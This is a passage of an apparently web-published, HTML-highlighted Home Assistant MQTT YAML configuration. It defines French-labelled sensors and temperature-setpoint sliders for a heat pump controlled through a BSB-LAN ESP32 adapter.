&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Temperature condensateur&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8425&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8425&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Statut Rez-de-chaussée&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8000&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;value_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{value | regex_findall_index(&amp;#39;- [ \t]+(.*)&amp;#39;)}}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Statut Etage&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8001&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;value_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{value | regex_findall_index(&amp;#39;- [ \t]+(.*)&amp;#39;)}}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Statut ECS&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8006&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;value_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{value | regex_findall_index(&amp;#39;- [ \t]+(.*)&amp;#39;)}}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8006&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Consommation&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/3113&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_3113&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;kWh&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;energy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;total&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;value_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ value[:-4] }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;mqtt_number.yaml&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Température confort rez-de-chaussée&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_710&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/710&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;command_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;S710={{ value }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;slider&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;min&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;max&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;step&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;mdi:temperature-celsius&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Température réduite rez-de-chaussée&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_712&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/712&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;command_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;S712={{ value }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;slider&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;min&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;max&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;step&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;mdi:temperature-celsius&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Température confort étage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_1010&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/1010&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;command_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;S1010={{ value }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;slider&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;min&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;max&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;step&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;mdi:temperature-celsius&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Température réduite étage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_1012&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/1012&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;command_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;S1012={{ value }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;slider&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;min&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;max&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;step&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;mdi:temperature-celsius&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
